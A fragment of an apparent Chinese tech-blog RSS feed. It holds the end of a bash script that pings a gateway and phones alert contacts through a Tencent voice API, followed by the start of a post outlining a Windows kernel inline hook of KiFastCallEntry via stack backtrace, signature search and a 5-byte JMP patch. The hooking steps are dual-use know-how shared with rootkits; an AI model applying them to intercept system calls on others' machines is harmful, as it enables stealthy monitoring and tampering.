&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;GE_RATE&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 第一个参数为模板的第一个参数 这里是网卡名称或者服务器所在地区&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 第二个参数为丢包率&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 第三个参数为通知的手机号&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;call_phone&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;# call_message=&amp;#34;专线接口$1丢包率百分之$2&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;strMobile&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="err"&gt;$&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;strRand&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="err"&gt;$&lt;/span&gt;&lt;span class="n"&gt;RANDOM&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;strTime&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="err"&gt;$&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;date&lt;/span&gt; &lt;span class="o"&gt;+%&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;strSig&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;appkey=$&lt;/span&gt;&lt;span class="si"&gt;{strAppKey}&lt;/span&gt;&lt;span class="s2"&gt;&amp;amp;random=$&lt;/span&gt;&lt;span class="si"&gt;{strRand}&lt;/span&gt;&lt;span class="s2"&gt;&amp;amp;time=$&lt;/span&gt;&lt;span class="si"&gt;{strTime}&lt;/span&gt;&lt;span class="s2"&gt;&amp;amp;mobile=$&lt;/span&gt;&lt;span class="si"&gt;{strMobile}&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;sig&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="err"&gt;$&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;echo&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;n&lt;/span&gt; &lt;span class="err"&gt;$&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="n"&gt;strSig&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;sha256sum&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;cut&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;d&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34; &amp;#34;&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;api_url&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;https://cloud.tim.qq.com/v5/tlsvoicesvr/sendtvoice?sdkappid=$&lt;/span&gt;&lt;span class="si"&gt;{SDKAPPID}&lt;/span&gt;&lt;span class="s2"&gt;&amp;amp;random=$&lt;/span&gt;&lt;span class="si"&gt;{strRand}&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;response&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="err"&gt;$&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;curl&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;$&lt;/span&gt;&lt;span class="si"&gt;{api_url}&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; \
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;H&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;Accept: application/json&amp;#34;&lt;/span&gt; \
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;H&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;Content-Type:application/json&amp;#34;&lt;/span&gt; \
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="o"&gt;--&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt; &lt;span class="o"&gt;@&amp;lt;&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;cat&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;EOF&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="s2"&gt;&amp;#34;tpl_id&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="err"&gt;$&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="n"&gt;VOICE_TMP_ID&lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="s2"&gt;&amp;#34;params&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;$1&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;$2&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="s2"&gt;&amp;#34;playtimes&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="s2"&gt;&amp;#34;sig&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;$&lt;/span&gt;&lt;span class="si"&gt;{sig}&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="s2"&gt;&amp;#34;tel&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="s2"&gt;&amp;#34;mobile&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;$&lt;/span&gt;&lt;span class="si"&gt;{strMobile}&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="s2"&gt;&amp;#34;nationcode&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;86&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;},&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="s2"&gt;&amp;#34;time&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="err"&gt;$&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="n"&gt;strTime&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;EOF&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;echo&lt;/span&gt; &lt;span class="err"&gt;$&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="n"&gt;response&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="err"&gt;$&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="n"&gt;LOGFILE&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 第一个参数为 ping的ip&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 第二个参数为 失败切换的网卡名字&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;do_check&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;ip&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="err"&gt;$&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;change_dev&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="err"&gt;$&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;date&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;`date &amp;#34;&lt;/span&gt;&lt;span class="o"&gt;+%&lt;/span&gt;&lt;span class="n"&gt;Y&lt;/span&gt;&lt;span class="o"&gt;-%&lt;/span&gt;&lt;span class="n"&gt;m&lt;/span&gt;&lt;span class="o"&gt;-%&lt;/span&gt;&lt;span class="n"&gt;d&lt;/span&gt; &lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="n"&gt;H&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="n"&gt;M&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="n"&gt;S&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;`&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;lost_rate&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="err"&gt;`&lt;/span&gt;&lt;span class="n"&gt;ping&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;c&lt;/span&gt; &lt;span class="mi"&gt;100&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;w&lt;/span&gt; &lt;span class="mi"&gt;100&lt;/span&gt; &lt;span class="err"&gt;$&lt;/span&gt;&lt;span class="n"&gt;ip&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;grep&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;packet loss&amp;#34;&lt;/span&gt; \
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;awk&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="sa"&gt;F&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;packet loss&amp;#34;&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;{ print $1 }&amp;#34;&lt;/span&gt; \
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;awk&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;{ print $NF }&amp;#34;&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;sed&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;s/%//g&amp;#34;&lt;/span&gt;&lt;span class="err"&gt;`&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt; &lt;span class="err"&gt;$&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="n"&gt;lost_rate&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;eq&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt; &lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="c1"&gt;# 等于0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;then&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;network_ok 【$&lt;/span&gt;&lt;span class="si"&gt;{ip}&lt;/span&gt;&lt;span class="s2"&gt;】 【$&lt;/span&gt;&lt;span class="si"&gt;{date}&lt;/span&gt;&lt;span class="s2"&gt;】 &amp;#34;&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="err"&gt;$&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="n"&gt;LOGFILE&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;elif&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt; &lt;span class="err"&gt;$&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="n"&gt;lost_rate&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;ge&lt;/span&gt; &lt;span class="err"&gt;$&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="n"&gt;GE_RATE&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="c1"&gt;# 大于等于10&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;then&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;network_error loss 【$&lt;/span&gt;&lt;span class="si"&gt;{lost_rate}&lt;/span&gt;&lt;span class="s2"&gt;】 【$&lt;/span&gt;&lt;span class="si"&gt;{date}&lt;/span&gt;&lt;span class="s2"&gt;】 【$&lt;/span&gt;&lt;span class="si"&gt;{ip}&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="err"&gt;】&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="err"&gt;$&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="n"&gt;LOGFILE&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;# ip route change ${ip} dev ${change_dev}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;index&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;${!ALERT_PHONE[@]}&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="n"&gt;do&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;alert_phone_index&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="err"&gt;$&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="n"&gt;ALERT_PHONE&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="err"&gt;$&lt;/span&gt;&lt;span class="n"&gt;index&lt;/span&gt;&lt;span class="p"&gt;]}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;call_phone&lt;/span&gt; &lt;span class="err"&gt;$&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="n"&gt;change_dev&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="err"&gt;$&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="n"&gt;lost_rate&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="err"&gt;$&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="n"&gt;alert_phone_index&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;done&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;else&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;network_check loss 【$&lt;/span&gt;&lt;span class="si"&gt;{lost_rate}&lt;/span&gt;&lt;span class="s2"&gt;】 【$&lt;/span&gt;&lt;span class="si"&gt;{date}&lt;/span&gt;&lt;span class="s2"&gt;】 【$&lt;/span&gt;&lt;span class="si"&gt;{ip}&lt;/span&gt;&lt;span class="s2"&gt;】 &amp;#34;&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="err"&gt;$&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="n"&gt;LOGFILE&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;fi&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;#ping的网管&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;IP_ARRAY&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;10.200.200.101&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;#IP_ARRAY[1]=&amp;#34;10.3.3.2&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;#网关的名字&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;CHANGE_ARRAY&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;上海端&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;#CHANGE_ARRAY[1]=&amp;#34;wg2&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;${!IP_ARRAY[@]}&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="n"&gt;do&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;check_ip&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="err"&gt;$&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="n"&gt;IP_ARRAY&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="err"&gt;$&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;]}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;change_dev&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="err"&gt;$&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="n"&gt;CHANGE_ARRAY&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="err"&gt;$&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;]}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;#echo &amp;#34;check ip ${check_ip} change_dev ${change_dev}&amp;#34; &amp;gt;&amp;gt; ${LOGFILE}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;do_check&lt;/span&gt; &lt;span class="err"&gt;$&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="n"&gt;check_ip&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="err"&gt;$&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="n"&gt;change_dev&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;done&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;</description></item><item><title>KiFastCallEntry Hook (利用栈回溯技术)</title><link>https://luodaoyi.com/posts/kifastcallentry-hook-%E5%88%A9%E7%94%A8%E6%A0%88%E5%9B%9E%E6%BA%AF%E6%8A%80%E6%9C%AF-kifastcallentryhook%E5%88%A9%E7%94%A8%E6%A0%88%E5%9B%9E%E6%BA%AF%E6%8A%80%E6%9C%AF/</link><pubDate>Sat, 17 Nov 2018 17:22:14 +0000</pubDate><author>luodaoyi@gmail.com (luodaoyi)</author><guid>https://luodaoyi.com/posts/kifastcallentry-hook-%E5%88%A9%E7%94%A8%E6%A0%88%E5%9B%9E%E6%BA%AF%E6%8A%80%E6%9C%AF-kifastcallentryhook%E5%88%A9%E7%94%A8%E6%A0%88%E5%9B%9E%E6%BA%AF%E6%8A%80%E6%9C%AF/</guid><description>&lt;p&gt;利用 栈回溯 技术,定位 KiFastCallEntry API 地址空间,搜索特征码后进行inline hook,KiFastCallEntry 是大多数 ring3 到 ring0 API调用必经 之路, 所以 hook之后可以 监视很多 程序行为.&lt;/p&gt;
&lt;p&gt;基于一个前提:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;KiFastCallEntry 函数 作用是：初始化 kernel stack , 根据 ring3 下 API外壳传来的 系统功能号, 然后转入 执行.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;程序流程:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;HOOK SSDT中一个较常用 函数调用,&lt;/li&gt;
&lt;li&gt;在接管函数中 利用 栈回溯 技术 获取KiFastCallEntry的 获取(&lt;code&gt;[EBP+4]&lt;/code&gt; )&lt;/li&gt;
&lt;li&gt;从获取的返回地址出发,向前搜索特征值 (&lt;code&gt;sub esp,ecx shr ecx,2&lt;/code&gt;)的机器码 ,这里刚好是已经获取了 原始函数地址后的下一段指令&lt;/li&gt;
&lt;li&gt;覆盖 5字节数据 ,即 用 JMP offset addr 来替换&lt;/li&gt;
&lt;li&gt;转如hook接管函数 ,从这里就可以干些其他事情 ,比如获取函数参数什么的,判断调用者etc…&lt;/li&gt;
&lt;li&gt;在驱动 卸载函数中 完成恢复hook点&lt;/li&gt;
&lt;/ol&gt;
